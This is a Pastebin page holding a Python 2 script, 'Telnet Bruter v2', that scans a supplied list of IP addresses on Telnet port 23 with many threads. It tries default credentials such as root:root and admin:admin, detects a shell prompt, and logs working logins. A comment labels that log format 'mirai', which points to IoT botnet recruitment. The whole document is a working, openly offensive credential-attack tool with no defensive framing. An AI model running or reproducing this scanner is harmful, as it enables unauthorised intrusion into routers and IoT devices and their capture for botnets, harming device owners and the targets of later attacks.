LNO_LiGhT

Telnet Bruter v2 By; LiGhT + Multiple Passwords

Jan 22nd, 2017
1,903
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.33 KB | None | 0 0
  1. #!/usr/bin/python
  2. # Telnet Bruter v2 By; LiGhT
  3.  
  4. import threading, sys, os, re, time, socket
  5. from Queue import *
  6. from sys import stdout
  7.  
  8. if len(sys.argv) < 4:
  9.     print "Usage: python "+sys.argv[0]+" <list> <threads> <output file>"
  10.     sys.exit()
  11.  
  12. ips = open(sys.argv[1], "r").readlines()
  13. threads = int(sys.argv[2])
  14. output_file = sys.argv[3]
  15. queue = Queue()
  16. info = ["root:jauntech", "root:root", "admin:admin"]
  17. queue_count = 0
  18.  
  19. for ip in ips:
  20.     queue_count += 1
  21.     stdout.write("\r[%d] Added to queue" % queue_count)
  22.     stdout.flush()
  23.     queue.put(ip)
  24. print "\n"
  25.  
  26. def readUntil(tn, string, timeout=8):
  27.     buf = ''
  28.     start_time = time.time()
  29.     while time.time() - start_time < timeout:
  30.         buf += tn.recv(2048)
  31.         time.sleep(0.01)
  32.         if string in buf: return buf
  33.     raise Exception('TIMEOUT!')
  34.  
  35. def w():
  36.     try:
  37.         while True:
  38.             try:
  39.                 IP = queue.get()
  40.                 st4rt = brute(IP)
  41.                 st4rt.start()
  42.                 queue.task_done()
  43.                 time.sleep(0.2)
  44.             except:
  45.                 print "[*] THREAD UNABLE TO START" #may spam if finished
  46.                 pass
  47.     except:
  48.         pass
  49.  
  50. class brute(threading.Thread):
  51.     def __init__ (self, ip):
  52.         threading.Thread.__init__(self)
  53.         self.ip = str(ip).rstrip('\n')
  54.     def run(self):
  55.         end = 0
  56.         while (end == 0):
  57.             try:
  58.                 try:
  59.                     tn = socket.socket()
  60.                     tn.settimeout(8)
  61.                     tn.connect((self.ip,23))
  62.                 except Exception:
  63.                     end = 1
  64.                     tn.close()
  65.                 username = "x"
  66.                 password = "x"
  67.                 trys = 0
  68.                 for passwd in info:
  69.                     if ":n/a" in passwd:
  70.                         password=""
  71.                     else:
  72.                         password=passwd.split(":")[1]
  73.                     if "n/a:" in passwd:
  74.                         username=""
  75.                     else:
  76.                         username=passwd.split(":")[0]
  77.                     try:
  78.                         hoho = ''
  79.                         hoho += readUntil(tn, "ogin")
  80.                         if "ogin" in hoho:
  81.                             tn.send(username + "\n")
  82.                             trys += 1
  83.                             time.sleep(0.09)
  84.                         elif "sername" in hoho:
  85.                             end = 1
  86.                             tn.close()
  87.                         elif "User Access" in hoho:
  88.                             end = 1
  89.                             tn.close()
  90.                         else:
  91.                             end = 1
  92.                             tn.close()
  93.                     except Exception:
  94.                         end = 1
  95.                         tn.close()
  96.                     try:
  97.                         hoho = ''
  98.                         hoho += readUntil(tn, "assword")
  99.                         if "assword" in hoho:
  100.                             tn.send(password + "\n")
  101.                             time.sleep(0.3)
  102.                     except Exception:
  103.                         end = 1
  104.                         tn.close()
  105.                     try:
  106.                         prompt = ''
  107.                         prompt += tn.recv(9999)
  108.                         if "Information" in prompt or "ncomplete" in prompt or "not exist." in prompt or "ailed" in prompt or "try" in prompt or "enied" in prompt or "rong" in prompt or "Access" in prompt or "ailure" in prompt or "ncorrect" in prompt or "nvalid" in prompt or "again" in prompt:
  109.                             prompt = ''
  110.                         if "%" in prompt or "$" in prompt or "#" in prompt or ">" in prompt:
  111.                             print "[!] FOUND LOGIN %s! Attempts: %s"%(self.ip, trys)
  112.                             #os.system("echo "+self.ip+" >> "+output_file+"") #1.1.1.1 # bios.txt
  113.                             #os.system("echo "+self.ip+":"+username+":"+password+" >> "+output_file+"")    # 1.1.1.1:user:pass # regular
  114.                             os.system("echo "+self.ip+":23 "+username+":"+password+" >> "+output_file+"") # 1.1.1.1:23 user:pass # mirai
  115.                             tn.close()
  116.                             end = 1
  117.                         else:
  118.                             pass
  119.                     except Exception:
  120.                         end = 1
  121.                         tn.close()
  122.             except:
  123.                 pass
  124.    
  125. for l in xrange(threads):
  126.     try:
  127.         t = threading.Thread(target=w)
  128.         t.start()
  129.         time.sleep(0.01)
  130.     except:
  131.         print "[-] FAILED TO START WORKER THREAD"
  132.         pass
Add Comment
Please, Sign In to add comment